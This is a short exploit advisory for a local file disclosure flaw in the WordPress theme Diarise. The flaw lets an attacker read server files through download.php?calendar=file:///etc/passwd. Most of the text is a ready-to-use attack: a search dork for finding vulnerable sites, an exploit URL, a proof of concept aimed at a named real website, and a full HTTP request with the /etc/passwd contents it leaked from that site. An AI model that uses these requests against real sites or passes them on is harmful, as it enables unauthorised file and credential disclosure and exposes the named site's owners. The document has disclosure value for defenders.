[+] Local File Disclosure in wordpress theme Diarise

[+] Date: 07/05/2019

[+] CWE Number: CWE-98

[+] Risk: High

[+] Author: Felipe Andrian Peixoto

[+] Dork: inurl:"wp-content/themes/diarise/"

[+] Vendor Homepage: https://woocommerce.com/?aff=1790

[+] Contact: felipe_andrian@hotmail.com

[+] Tested on: Windows 7 and Linux

[+] Vulnerable File: download.php

[+] Exploit : http://domain.com/wp-content/themes/diarise/download.php?calendar=[ file:///etc/passwd ]

[+] PoC: http://tringanglers.org.uk/wp-content/themes/diarise/download.php?calendar=file:///etc/passwd

[+] Example:

  GET /wp-content/themes/diarise/download.php?calendar=file:///etc/passwd HTTP/1.1
  Host: tringanglers.org.uk
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate
  DNT: 1
  Connection: keep-alive
  Upgrade-Insecure-Requests: 1

  root:x:0:0:root:/root:/bin/false
  tringanglers.org.uk:x:987900:987900:tringanglers.org.uk:/home/tringanglers.org.uk:/bin/false

eof